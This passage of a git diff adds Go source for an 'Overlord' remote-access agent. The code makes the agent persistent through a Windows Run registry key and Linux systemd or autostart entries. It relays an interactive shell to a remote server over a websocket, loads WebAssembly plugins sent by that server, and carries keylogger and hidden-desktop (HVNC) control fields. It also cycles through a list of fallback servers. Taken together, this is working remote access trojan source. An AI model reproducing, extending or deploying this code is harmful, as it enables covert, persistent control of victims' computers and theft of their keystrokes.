+ return "", err + } + return filepath.Join(usr.HomeDir, ".local", "share", "overlord", "agent"), nil +} + +func install(exePath string) error { + + targetPath, err := getTargetPath() + if err != nil { + return fmt.Errorf("failed to get target path: %w", err) + } + + dir := filepath.Dir(targetPath) + if err := os.MkdirAll(dir, 0755); err != nil { + return fmt.Errorf("failed to create overlord directory: %w", err) + } + + if err := replaceExecutable(exePath, targetPath); err != nil { + return err + } + + if err := installSystemd(targetPath); err == nil { + return nil + } + + return installAutostart(targetPath) +} + +func replaceExecutable(exePath, targetPath string) error { + srcFile, err := os.Open(exePath) + if err != nil { + return fmt.Errorf("failed to open source executable: %w", err) + } + defer srcFile.Close() + + dir := filepath.Dir(targetPath) + tmpFile, err := os.CreateTemp(dir, "agent-*.tmp") + if err != nil { + return fmt.Errorf("failed to create temp executable: %w", err) + } + tmpPath := tmpFile.Name() + defer func() { + _ = tmpFile.Close() + _ = os.Remove(tmpPath) + }() + + if _, err := io.Copy(tmpFile, srcFile); err != nil { + return fmt.Errorf("failed to copy executable: %w", err) + } + if err := tmpFile.Sync(); err != nil { + return fmt.Errorf("failed to sync temp file: %w", err) + } + if err := tmpFile.Close(); err != nil { + return fmt.Errorf("failed to close temp file: %w", err) + } + + if err := os.Rename(tmpPath, targetPath); err != nil { + if removeErr := os.Remove(targetPath); removeErr == nil { + if err = os.Rename(tmpPath, targetPath); err == nil { + return nil + } + } + return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) + } + + if err := os.Chmod(targetPath, 0755); err != nil { + return fmt.Errorf("failed to set executable permissions: %w", err) + } + + return nil +} + +func installSystemd(exePath string) error { + servicePath, err := getSystemdPath() + if err != nil { + return err + } + + dir := filepath.Dir(servicePath) + if err := os.MkdirAll(dir, 0755); err != nil { + return fmt.Errorf("failed to create systemd directory: %w", err) + } + + file, err := os.Create(servicePath) + if err != nil { + return fmt.Errorf("failed to create service file: %w", err) + } + defer file.Close() + + tmpl, err := template.New("service").Parse(systemdService) + if err != nil { + return fmt.Errorf("failed to parse template: %w", err) + } + + data := struct { + ExePath string + }{ + ExePath: exePath, + } + + if err := tmpl.Execute(file, data); err != nil { + return fmt.Errorf("failed to write service file: %w", err) + } + + return nil +} + +func configure(exePath string) error { + if err := installSystemd(exePath); err == nil { + return nil + } + return installAutostart(exePath) +} + +func installAutostart(exePath string) error { + autostartPath, err := getAutostartPath() + if err != nil { + return err + } + + dir := filepath.Dir(autostartPath) + if err := os.MkdirAll(dir, 0755); err != nil { + return fmt.Errorf("failed to create autostart directory: %w", err) + } + + file, err := os.Create(autostartPath) + if err != nil { + return fmt.Errorf("failed to create desktop entry: %w", err) + } + defer file.Close() + + tmpl, err := template.New("desktop").Parse(desktopEntry) + if err != nil { + return fmt.Errorf("failed to parse template: %w", err) + } + + data := struct { + ExePath string + }{ + ExePath: exePath, + } + + if err := tmpl.Execute(file, data); err != nil { + return fmt.Errorf("failed to write desktop entry: %w", err) + } + + return nil +} + +func uninstall() error { + + var lastErr error + + if servicePath, err := getSystemdPath(); err == nil { + if err := os.Remove(servicePath); err != nil && !os.IsNotExist(err) { + lastErr = fmt.Errorf("failed to remove systemd service: %w", err) + } + } + + if autostartPath, err := getAutostartPath(); err == nil { + if err := os.Remove(autostartPath); err != nil && !os.IsNotExist(err) { + lastErr = fmt.Errorf("failed to remove autostart entry: %w", err) + } + } + + if targetPath, err := getTargetPath(); err == nil { + os.Remove(targetPath) + } + + return lastErr +} diff --git a/Overlord-Client/cmd/agent/persistence/persistence_windows.go b/Overlord-Client/cmd/agent/persistence/persistence_windows.go new file mode 100644 index 0000000..6fb4947 --- /dev/null +++ b/Overlord-Client/cmd/agent/persistence/persistence_windows.go @@ -0,0 +1,132 @@ +//go:build windows +// +build windows + +package persistence + +import ( + "fmt" + "io" + "os" + "path/filepath" + + "golang.org/x/sys/windows/registry" +) + +const registryKey = `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` +const registryValueName = "OverlordAgent" + +func getTargetPath() (string, error) { + appDataDir := os.Getenv("APPDATA") + if appDataDir == "" { + return "", fmt.Errorf("APPDATA environment variable not set") + } + return filepath.Join(appDataDir, "Overlord", "agent.exe"), nil +} + +func install(exePath string) error { + + targetPath, err := getTargetPath() + if err != nil { + return err + } + + overlordDir := filepath.Dir(targetPath) + err = os.MkdirAll(overlordDir, 0755) + if err != nil { + return fmt.Errorf("failed to create Overlord directory: %w", err) + } + + if err := replaceExecutable(exePath, targetPath); err != nil { + return err + } + + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE) + if err != nil { + return fmt.Errorf("failed to open registry key: %w", err) + } + defer k.Close() + + err = k.SetStringValue(registryValueName, targetPath) + if err != nil { + return fmt.Errorf("failed to set registry value: %w", err) + } + + return nil +} + +func replaceExecutable(exePath, targetPath string) error { + srcFile, err := os.Open(exePath) + if err != nil { + return fmt.Errorf("failed to open source executable: %w", err) + } + defer srcFile.Close() + + dir := filepath.Dir(targetPath) + tmpFile, err := os.CreateTemp(dir, "agent-*.tmp") + if err != nil { + return fmt.Errorf("failed to create temp executable: %w", err) + } + tmpPath := tmpFile.Name() + defer func() { + _ = tmpFile.Close() + _ = os.Remove(tmpPath) + }() + + if _, err := io.Copy(tmpFile, srcFile); err != nil { + return fmt.Errorf("failed to copy executable: %w", err) + } + if err := tmpFile.Sync(); err != nil { + return fmt.Errorf("failed to sync temp file: %w", err) + } + if err := tmpFile.Close(); err != nil { + return fmt.Errorf("failed to close temp file: %w", err) + } + + if err := os.Rename(tmpPath, targetPath); err != nil { + if removeErr := os.Remove(targetPath); removeErr == nil { + if err = os.Rename(tmpPath, targetPath); err == nil { + return nil + } + } + return fmt.Errorf("failed to replace executable at %s: %w", targetPath, err) + } + + return nil +} + +func configure(exePath string) error { + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE) + if err != nil { + return fmt.Errorf("failed to open registry key: %w", err) + } + defer k.Close() + + if err := k.SetStringValue(registryValueName, exePath); err != nil { + return fmt.Errorf("failed to set registry value: %w", err) + } + + return nil +} + +func uninstall() error { + + k, err := registry.OpenKey(registry.CURRENT_USER, registryKey, registry.SET_VALUE) + if err != nil { + return fmt.Errorf("failed to open registry key: %w", err) + } + defer k.Close() + + err = k.DeleteValue(registryValueName) + if err != nil && err != registry.ErrNotExist { + return fmt.Errorf("failed to delete registry value: %w", err) + } + + appDataDir := os.Getenv("APPDATA") + if appDataDir != "" { + targetPath := filepath.Join(appDataDir, "Overlord", "agent.exe") + + os.Remove(targetPath) + } + + return nil +} diff --git a/Overlord-Client/cmd/agent/plugins/manager.go b/Overlord-Client/cmd/agent/plugins/manager.go new file mode 100644 index 0000000..f30ddbc --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/manager.go @@ -0,0 +1,348 @@ +package plugins + +import ( + "context" + "errors" + "io" + "log" + "sync" + + "github.com/tetratelabs/wazero" + "github.com/tetratelabs/wazero/api" + "github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1" + "github.com/vmihailenco/msgpack/v5" + + "overlord-client/cmd/agent/wire" +) + +type Manager struct { + mu sync.Mutex + plugins map[string]*pluginInstance + pending map[string]*pendingBundle + writer wire.Writer + host HostInfo +} + +type pluginInstance struct { + id string + manifest PluginManifest + ctx context.Context + cancel context.CancelFunc + runtime wazero.Runtime + module api.Module + stdin io.WriteCloser + stdout io.ReadCloser + stderr io.ReadCloser + enc *msgpack.Encoder + dec *msgpack.Decoder + encMu sync.Mutex +} + +type pendingBundle struct { + manifest PluginManifest + totalSize int + totalChunks int + chunks map[int][]byte + received int + receivedSz int +} + +func NewManager(writer wire.Writer, host HostInfo) *Manager { + return &Manager{ + plugins: make(map[string]*pluginInstance), + pending: make(map[string]*pendingBundle), + writer: writer, + host: host, + } +} + +func (m *Manager) StartBundle(manifest PluginManifest, totalSize int, totalChunks int) error { + if manifest.ID == "" { + return errors.New("missing plugin id") + } + if totalChunks <= 0 { + return errors.New("invalid total chunks") + } + if totalSize <= 0 { + return errors.New("invalid total size") + } + if totalChunks > 10000 { + return errors.New("too many chunks") + } + + m.mu.Lock() + m.pending[manifest.ID] = &pendingBundle{ + manifest: manifest, + totalSize: totalSize, + totalChunks: totalChunks, + chunks: make(map[int][]byte), + } + m.mu.Unlock() + return nil +} + +func (m *Manager) AddChunk(pluginId string, index int, data []byte) error { + if pluginId == "" { + return errors.New("missing plugin id") + } + if index < 0 { + return errors.New("invalid chunk index") + } + + m.mu.Lock() + b := m.pending[pluginId] + if b == nil { + m.mu.Unlock() + return errors.New("bundle not initialized") + } + if _, exists := b.chunks[index]; !exists { + b.chunks[index] = data + b.received++ + b.receivedSz += len(data) + } + m.mu.Unlock() + return nil +} + +func (m *Manager) FinalizeBundle(ctx context.Context, pluginId string) error { + m.mu.Lock() + b := m.pending[pluginId] + if b == nil { + m.mu.Unlock() + return errors.New("bundle not initialized") + } + if b.received < b.totalChunks { + m.mu.Unlock() + return errors.New("bundle incomplete") + } + + chunks := make([][]byte, b.totalChunks) + for i := 0; i < b.totalChunks; i++ { + chunks[i] = b.chunks[i] + if chunks[i] == nil { + m.mu.Unlock() + return errors.New("missing chunk") + } + } + manifest := b.manifest + delete(m.pending, pluginId) + m.mu.Unlock() + + combined := make([]byte, 0, b.totalSize) + for _, part := range chunks { + combined = append(combined, part...) + } + return m.Load(ctx, manifest, combined) +} + +func (m *Manager) Load(ctx context.Context, manifest PluginManifest, wasm []byte) error { + if len(wasm) == 0 { + return errors.New("empty wasm payload") + } + pluginID := manifest.ID + if pluginID == "" { + return errors.New("missing plugin id") + } + + m.mu.Lock() + if existing, ok := m.plugins[pluginID]; ok { + _ = existing.Close() + delete(m.plugins, pluginID) + } + m.mu.Unlock() + + runtimeCtx, cancel := context.WithCancel(ctx) + rt := wazero.NewRuntime(runtimeCtx) + if _, err := wasi_snapshot_preview1.Instantiate(runtimeCtx, rt); err != nil { + cancel() + return err + } + + stdinR, stdinW := io.Pipe() + stdoutR, stdoutW := io.Pipe() + stderrR, stderrW := io.Pipe() + + config := wazero.NewModuleConfig(). + WithStdin(stdinR). + WithStdout(stdoutW). + WithStderr(stderrW). + WithStartFunctions() + + compiled, err := rt.CompileModule(runtimeCtx, wasm) + if err != nil { + cancel() + return err + } + + module, err := rt.InstantiateModule(runtimeCtx, compiled, config) + if err != nil { + cancel() + return err + } + + pi := &pluginInstance{ + id: pluginID, + manifest: manifest, + ctx: runtimeCtx, + cancel: cancel, + runtime: rt, + module: module, + stdin: stdinW, + stdout: stdoutR, + stderr: stderrR, + enc: msgpack.NewEncoder(stdinW), + dec: msgpack.NewDecoder(stdoutR), + } + + goSafe("plugin readLoop", pi.cancel, func() { + m.readLoop(pi) + }) + goSafe("plugin readStderr", pi.cancel, func() { + m.readStderr(pi) + }) + + if start := module.ExportedFunction("_start"); start != nil { + goSafe("plugin _start", pi.cancel, func() { + if _, err := start.Call(runtimeCtx); err != nil { + log.Printf("[plugin] %s _start error: %v", pluginID, err) + } + }) + } + + if err := m.sendInit(pi); err != nil { + _ = pi.Close() + return err + } + + m.mu.Lock() + m.plugins[pluginID] = pi + m.mu.Unlock() + + log.Printf("[plugin] loaded %s", pluginID) + return nil +} + +func (m *Manager) Dispatch(ctx context.Context, pluginId, event string, payload interface{}) error { + m.mu.Lock() + pi := m.plugins[pluginId] + m.mu.Unlock() + if pi == nil { + return nil + } + msg := PluginMessage{Type: "event", Event: event, Payload: payload} + return m.sendMessage(ctx, pi, msg) +} + +func (m *Manager) Close() { + m.mu.Lock() + defer m.mu.Unlock() + for id, pi := range m.plugins { + _ = pi.Close() + delete(m.plugins, id) + } +} + +func (m *Manager) Unload(pluginId string) { + m.mu.Lock() + defer m.mu.Unlock() + if pi, ok := m.plugins[pluginId]; ok { + _ = pi.Close() + delete(m.plugins, pluginId) + } +} + +func (m *Manager) sendInit(pi *pluginInstance) error { + payload := map[string]interface{}{ + "manifest": pi.manifest, + "host": m.host, + } + msg := PluginMessage{Type: "init", Payload: payload} + return m.sendMessage(context.Background(), pi, msg) +} + +func (m *Manager) sendMessage(ctx context.Context, pi *pluginInstance, msg PluginMessage) error { + pi.encMu.Lock() + defer pi.encMu.Unlock() + select { + case <-ctx.Done(): + return ctx.Err() + default: + return pi.enc.Encode(msg) + } +} + +func (m *Manager) readLoop(pi *pluginInstance) { + defer func() { + if r := recover(); r != nil { + log.Printf("[plugin] %s read loop panic: %v", pi.id, r) + } + }() + for { + var msg map[string]interface{} + if err := pi.dec.Decode(&msg); err != nil { + if errors.Is(err, io.EOF) || errors.Is(err, context.Canceled) { + return + } + log.Printf("[plugin] %s read error: %v", pi.id, err) + return + } + m.handlePluginMessage(pi.id, msg) + } +} + +func (m *Manager) readStderr(pi *pluginInstance) { + defer func() { + if r := recover(); r != nil { + log.Printf("[plugin] %s stderr loop panic: %v", pi.id, r) + } + }() + buf := make([]byte, 4096) + for { + n, err := pi.stderr.Read(buf) + if n > 0 { + log.Printf("[plugin] %s stderr: %s", pi.id, string(buf[:n])) + } + if err != nil { + return + } + } +} + +func (m *Manager) handlePluginMessage(pluginId string, msg map[string]interface{}) { + msgType, _ := msg["type"].(string) + if msgType == "log" { + log.Printf("[plugin] %s log: %v", pluginId, msg["payload"]) + return + } + if msgType == "event" { + event, _ := msg["event"].(string) + payload := msg["payload"] + if event == "" { + return + } + err := wire.WriteMsg(context.Background(), m.writer, wire.PluginEvent{ + Type: "plugin_event", + PluginID: pluginId, + Event: event, + Payload: payload, + }) + if err != nil { + log.Printf("[plugin] %s send event error: %v", pluginId, err) + } + return + } +} + +func (pi *pluginInstance) Close() error { + pi.cancel() + _ = pi.stdin.Close() + _ = pi.stdout.Close() + _ = pi.stderr.Close() + if pi.module != nil { + _ = pi.module.Close(context.Background()) + } + if pi.runtime != nil { + _ = pi.runtime.Close(context.Background()) + } + return nil +} diff --git a/Overlord-Client/cmd/agent/plugins/panic_guard.go b/Overlord-Client/cmd/agent/plugins/panic_guard.go new file mode 100644 index 0000000..87885cd --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/panic_guard.go @@ -0,0 +1,56 @@ +package plugins + +import ( + "context" + "fmt" + "log" + "os" + "path/filepath" + "runtime" + "runtime/debug" + "time" +) + +const crashLogFileName = "crashlogC.log" + +func goSafe(label string, cancel context.CancelFunc, fn func()) { + go func() { + defer recoverAndLog(label, cancel) + fn() + }() +} + +func recoverAndLog(label string, cancel context.CancelFunc) { + if r := recover(); r != nil { + reason := fmt.Sprintf("%s panic: %v", label, r) + stack := debug.Stack() + path := writeCrashLog(reason, stack) + log.Printf("[panic] %s (see %s)", reason, path) + if cancel != nil { + cancel() + } + } +} + +func writeCrashLog(reason string, stack []byte) string { + dir := os.TempDir() + _ = os.MkdirAll(dir, 0700) + path := filepath.Join(dir, crashLogFileName) + + file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) + if err != nil { + log.Printf("[panic] failed to open crash log %s: %v", path, err) + return path + } + defer file.Close() + + timestamp := time.Now().UTC().Format(time.RFC3339) + _, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp) + _, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH) + _, _ = fmt.Fprintf(file, "Reason: %s\n", reason) + if len(stack) > 0 { + _, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack)) + } + + return path +} diff --git a/Overlord-Client/cmd/agent/plugins/types.go b/Overlord-Client/cmd/agent/plugins/types.go new file mode 100644 index 0000000..d4b63b0 --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/types.go @@ -0,0 +1,64 @@ +package plugins + +import "errors" + +type PluginAssets struct { + HTML string `msgpack:"html" json:"html"` + CSS string `msgpack:"css" json:"css"` + JS string `msgpack:"js" json:"js"` +} + +type PluginManifest struct { + ID string `msgpack:"id" json:"id"` + Name string `msgpack:"name" json:"name"` + Version string `msgpack:"version,omitempty" json:"version,omitempty"` + Description string `msgpack:"description,omitempty" json:"description,omitempty"` + Binary string `msgpack:"binary,omitempty" json:"binary,omitempty"` + Entry string `msgpack:"entry,omitempty" json:"entry,omitempty"` + Assets PluginAssets `msgpack:"assets,omitempty" json:"assets,omitempty"` +} + +type PluginMessage struct { + Type string `msgpack:"type"` + Event string `msgpack:"event,omitempty"` + Payload interface{} `msgpack:"payload,omitempty"` + Error string `msgpack:"error,omitempty"` +} + +type HostInfo struct { + ClientID string `msgpack:"clientId"` + OS string `msgpack:"os"` + Arch string `msgpack:"arch"` + Version string `msgpack:"version"` +} + +func ManifestFromMap(m map[string]interface{}) (PluginManifest, error) { + manifest := PluginManifest{} + manifest.ID = stringVal(m["id"]) + manifest.Name = stringVal(m["name"]) + manifest.Version = stringVal(m["version"]) + manifest.Description = stringVal(m["description"]) + manifest.Binary = stringVal(m["binary"]) + manifest.Entry = stringVal(m["entry"]) + + if assetsRaw, ok := m["assets"].(map[string]interface{}); ok { + manifest.Assets = PluginAssets{ + HTML: stringVal(assetsRaw["html"]), + CSS: stringVal(assetsRaw["css"]), + JS: stringVal(assetsRaw["js"]), + } + } + + if manifest.ID == "" { + return PluginManifest{}, errors.New("missing plugin id") + } + if manifest.Name == "" { + manifest.Name = manifest.ID + } + return manifest, nil +} + +func stringVal(v interface{}) string { + s, _ := v.(string) + return s +} diff --git a/Overlord-Client/cmd/agent/runtime/console.go b/Overlord-Client/cmd/agent/runtime/console.go new file mode 100644 index 0000000..e7f8383 --- /dev/null +++ b/Overlord-Client/cmd/agent/runtime/console.go @@ -0,0 +1,209 @@ +package runtime + +import ( + "context" + "fmt" + "io" + "os" + "os/exec" + "runtime" + "sync" + "syscall" + + "overlord-client/cmd/agent/wire" + + "github.com/creack/pty" +) + +type ConsoleHub struct { + env *Env + mu sync.Mutex + sessions map[string]*ConsoleSession +} + +type ConsoleSession struct { + id string + cmd *exec.Cmd + pty *os.File + cancel context.CancelFunc + once sync.Once +} + +type ConsoleStartRequest struct { + SessionID string + Cols int + Rows int +} + +func NewConsoleHub(env *Env) *ConsoleHub { + return &ConsoleHub{env: env, sessions: make(map[string]*ConsoleSession)} +} + +func (h *ConsoleHub) Start(ctx context.Context, req ConsoleStartRequest) error { + if req.SessionID == "" { + return fmt.Errorf("missing session id") + } + + cols := uint16(req.Cols) + rows := uint16(req.Rows) + if cols == 0 { + cols = 120 + } + if rows == 0 { + rows = 36 + } + + h.mu.Lock() + if existing, ok := h.sessions[req.SessionID]; ok { + existing.close() + delete(h.sessions, req.SessionID) + } + h.mu.Unlock() + + shell := detectShell() + sessionCtx, cancel := context.WithCancel(ctx) + cmd := exec.CommandContext(sessionCtx, shell[0], shell[1:]...) + cmd.Env = os.Environ() + + ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows}) + if err != nil { + cancel() + h.emitError(ctx, req.SessionID, err) + return err + } + + sess := &ConsoleSession{id: req.SessionID, cmd: cmd, pty: ptmx, cancel: cancel} + h.mu.Lock() + h.sessions[req.SessionID] = sess + h.mu.Unlock() + + go h.forwardOutput(sessionCtx, sess) + return nil +} + +func (h *ConsoleHub) Write(ctx context.Context, sessionID string, data string) error { + sess := h.get(sessionID) + if sess == nil { + return fmt.Errorf("session not found") + } + _, err := sess.pty.Write([]byte(data)) + return err +} + +func (h *ConsoleHub) Resize(sessionID string, cols, rows int) error { + sess := h.get(sessionID) + if sess == nil { + return fmt.Errorf("session not found") + } + if cols <= 0 { + cols = 120 + } + if rows <= 0 { + rows = 36 + } + return pty.Setsize(sess.pty, &pty.Winsize{Cols: uint16(cols), Rows: uint16(rows)}) +} + +func (h *ConsoleHub) Stop(sessionID string) { + h.mu.Lock() + sess := h.sessions[sessionID] + delete(h.sessions, sessionID) + h.mu.Unlock() + if sess != nil { + sess.close() + } +} + +func (h *ConsoleHub) StopAll() { + if h == nil { + return + } + h.mu.Lock() + ids := make([]string, 0, len(h.sessions)) + for id := range h.sessions { + ids = append(ids, id) + } + h.mu.Unlock() + for _, id := range ids { + h.Stop(id) + } +} + +func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) { + buf := make([]byte, 4096) + for { + n, err := sess.pty.Read(buf) + if n > 0 { + chunk := make([]byte, n) + copy(chunk, buf[:n]) + _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk}) + } + if err != nil { + if err != io.EOF { + h.emitError(ctx, sess.id, err) + } + break + } + } + + if sess.cmd != nil { + _ = sess.cmd.Wait() + } + exitCode := extractExitCode(sess.cmd) + _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode}) + + h.mu.Lock() + delete(h.sessions, sess.id) + h.mu.Unlock() + sess.close() +} + +func (h *ConsoleHub) emitError(ctx context.Context, sessionID string, err error) { + _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()}) +} + +func (h *ConsoleHub) get(sessionID string) *ConsoleSession { + h.mu.Lock() + defer h.mu.Unlock() + return h.sessions[sessionID] +} + +func (sess *ConsoleSession) close() { + sess.once.Do(func() { + if sess.cancel != nil { + sess.cancel() + } + if sess.cmd != nil && sess.cmd.Process != nil { + _ = sess.cmd.Process.Kill() + } + if sess.pty != nil { + _ = sess.pty.Close() + } + }) +} + +func detectShell() []string { + if runtime.GOOS == "windows" { + if c := os.Getenv("COMSPEC"); c != "" { + return []string{c} + } + return []string{"cmd.exe"} + } + if sh := os.Getenv("SHELL"); sh != "" { + return []string{sh, "-l"} + } + if runtime.GOOS == "darwin" { + return []string{"/bin/zsh", "-l"} + } + return []string{"/bin/bash", "-l"} +} + +func extractExitCode(cmd *exec.Cmd) int { + if cmd == nil || cmd.ProcessState == nil { + return -1 + } + if status, ok := cmd.ProcessState.Sys().(syscall.WaitStatus); ok { + return status.ExitStatus() + } + return -1 +} diff --git a/Overlord-Client/cmd/agent/runtime/env.go b/Overlord-Client/cmd/agent/runtime/env.go new file mode 100644 index 0000000..6a7582a --- /dev/null +++ b/Overlord-Client/cmd/agent/runtime/env.go @@ -0,0 +1,110 @@ +package runtime + +import ( + "context" + "os" + "sync" + "sync/atomic" + "time" + + "overlord-client/cmd/agent/config" + "overlord-client/cmd/agent/keylogger" + "overlord-client/cmd/agent/plugins" + "overlord-client/cmd/agent/wire" +) + +type Env struct { + Conn wire.Writer + Cfg config.Config + Cancel context.CancelFunc + Console *ConsoleHub + SelectedDisplay int + MouseControl bool + KeyboardControl bool + CursorCapture bool + DesktopDuplication bool + DesktopCancel context.CancelFunc + DesktopDone chan struct{} + DesktopMu sync.Mutex + // HVNC fields + HVNCSelectedDisplay int + HVNCMouseControl bool + HVNCKeyboardControl bool + HVNCCursorCapture bool + HVNCCancel context.CancelFunc + HVNCDone chan struct{} + HVNCMu sync.Mutex + // Other fields + Plugins *plugins.Manager + Keylogger *keylogger.Keylogger + NotificationMu sync.RWMutex + NotificationKeywords []string + NotificationMinIntervalMs int + LastPongUnixMs int64 +} + +func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int) { + e.NotificationMu.Lock() + e.NotificationKeywords = keywords + if minIntervalMs > 0 { + e.NotificationMinIntervalMs = minIntervalMs + } + e.NotificationMu.Unlock() +} + +func (e *Env) GetNotificationKeywords() []string { + e.NotificationMu.RLock() + defer e.NotificationMu.RUnlock() + if len(e.NotificationKeywords) == 0 { + return nil + } + out := make([]string, len(e.NotificationKeywords)) + copy(out, e.NotificationKeywords) + return out +} + +func (e *Env) GetNotificationMinIntervalMs() int { + e.NotificationMu.RLock() + defer e.NotificationMu.RUnlock() + return e.NotificationMinIntervalMs +} + +func (e *Env) SetLastPong(tsMillis int64) { + if tsMillis <= 0 { + tsMillis = time.Now().UnixMilli() + } + atomic.StoreInt64(&e.LastPongUnixMs, tsMillis) +} + +func (e *Env) LastPong() time.Time { + ms := atomic.LoadInt64(&e.LastPongUnixMs) + if ms <= 0 { + return time.Time{} + } + return time.UnixMilli(ms) +} + +func Hostname() string { + h, err := os.Hostname() + if err != nil { + return "unknown" + } + return h +} + +func CurrentUser() string { + if u := os.Getenv("USERNAME"); u != "" { + return u + } + if u := os.Getenv("USER"); u != "" { + return u + } + return "unknown" +} + +func MinDuration(a, b time.Duration) time.Duration { + if a < b { + return a + } + return b +} diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go new file mode 100644 index 0000000..fcf785c --- /dev/null +++ b/Overlord-Client/cmd/agent/session.go @@ -0,0 +1,515 @@ +package main + +import ( + "context" + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "log" + "math/rand" + "net/http" + "os" + "runtime" + "runtime/debug" + "strconv" + "strings" + "time" + + "overlord-client/cmd/agent/activewindow" + "overlord-client/cmd/agent/capture" + "overlord-client/cmd/agent/config" + "overlord-client/cmd/agent/handlers" + "overlord-client/cmd/agent/keylogger" + "overlord-client/cmd/agent/plugins" + rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/wire" + + "nhooyr.io/websocket" +) + +func runClient(cfg config.Config) { + baseBackoff := computeBaseBackoff() + backoff := baseBackoff + log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch) + + ensureServerURLs(&cfg, baseBackoff) + + if len(cfg.ServerURLs) > 1 { + log.Printf("Failover enabled with %d servers:", len(cfg.ServerURLs)) + for i, url := range cfg.ServerURLs { + marker := "" + if i == cfg.ServerIndex { + marker = " (starting here)" + } + log.Printf(" [%d] %s%s", i, url, marker) + } + } + + tlsMinVersion := uint16(tls.VersionTLS12) + transport := createHTTPTransport(cfg, tlsMinVersion) + currentIndex := cfg.ServerIndex + consecutiveFailures := 0 + // idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections. + allowTLSDowngrade := false + + for { + + if currentIndex >= len(cfg.ServerURLs) { + currentIndex = 0 + } + + currentServer := cfg.ServerURLs[currentIndex] + ctx, cancel := context.WithCancel(context.Background()) + url := fmt.Sprintf("%s/api/clients/%s/stream/ws?role=client", currentServer, cfg.ID) + + opts := buildDialOptions(cfg, transport) + + serverInfo := "" + if len(cfg.ServerURLs) > 1 { + serverInfo = fmt.Sprintf(" [%d/%d]", currentIndex+1, len(cfg.ServerURLs)) + } + log.Printf("connecting to %s%s (TLS verify: %v)", currentServer, serverInfo, !cfg.TLSInsecureSkipVerify) + + conn, _, err := websocket.Dial(ctx, url, opts) + if err != nil { + log.Printf("dial failed: %v (retrying in %s)", err, backoff) + consecutiveFailures++ + + if shouldRefreshRawList(cfg, consecutiveFailures) { + if refreshServerURLsFromRaw(&cfg) { + currentIndex = 0 + consecutiveFailures = 0 + } + } + + if len(cfg.ServerURLs) > 1 { + currentIndex = (currentIndex + 1) % len(cfg.ServerURLs) + log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex]) + } + + time.Sleep(backoff) + cancel() + continue + } + + if currentIndex != cfg.ServerIndex { + if err := config.SaveServerIndex(currentIndex); err != nil { + log.Printf("Warning: failed to save server index: %v", err) + } + } + + backoff = baseBackoff + consecutiveFailures = 0 + log.Printf("connected successfully to %s%s", currentServer, serverInfo) + + conn.SetReadLimit(8 * 1024 * 1024) + + var sessionErr error + if err := runSession(ctx, cancel, conn, cfg); err != nil { + sessionErr = err + if allowTLSDowngrade && isTLSVersionError(err) { + log.Printf("[TLS] remote rejected TLS version; downgrading to TLS 1.0 for compatibility") + tlsMinVersion = uint16(tls.VersionTLS10) + transport = createHTTPTransport(cfg, tlsMinVersion) + allowTLSDowngrade = false + } + log.Printf("session ended: %v (retrying in %s)", err, backoff) + + if shouldRefreshRawList(cfg, len(cfg.ServerURLs)) { + if refreshServerURLsFromRaw(&cfg) { + currentIndex = 0 + consecutiveFailures = 0 + } + } + + if len(cfg.ServerURLs) > 1 { + currentIndex = (currentIndex + 1) % len(cfg.ServerURLs) + log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex]) + } + } + + sleepFor := backoff + if sessionErr != nil && shouldRetryImmediately(sessionErr) { + sleepFor = reconnectDelay() + log.Printf("reconnect: immediate retry in %s", sleepFor) + } + time.Sleep(sleepFor) + } +} + +func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions { + headers := http.Header{} + if token := strings.TrimSpace(cfg.AgentToken); token != "" { + headers.Set("x-agent-token", token) + } + return &websocket.DialOptions{ + Subprotocols: []string{"binary"}, + HTTPClient: &http.Client{Transport: transport}, + HTTPHeader: headers, + CompressionMode: websocket.CompressionContextTakeover, + } +} + +func ensureServerURLs(cfg *config.Config, backoff time.Duration) { + if len(cfg.ServerURLs) > 0 { + return + } + + if cfg.RawServerListURL == "" { + log.Printf("[config] WARNING: no server URLs configured; falling back to default %s", config.DefaultServerURL) + cfg.ServerURLs = []string{config.DefaultServerURL} + return + } + + log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL) + for len(cfg.ServerURLs) == 0 { + if refreshServerURLsFromRaw(cfg) { + return + } + log.Printf("Retrying raw server list fetch in %s", backoff) + time.Sleep(backoff) + } +} + +func shouldRefreshRawList(cfg config.Config, failures int) bool { + if cfg.RawServerListURL == "" { + return false + } + if len(cfg.ServerURLs) == 0 { + return true + } + return failures >= len(cfg.ServerURLs) +} + +func refreshServerURLsFromRaw(cfg *config.Config) bool { + urls, err := config.LoadServerURLsFromRaw(cfg.RawServerListURL) + if err != nil { + log.Printf("[config] WARNING: failed to refresh raw server list: %v", err) + return false + } + + if len(urls) == 0 { + log.Printf("[config] 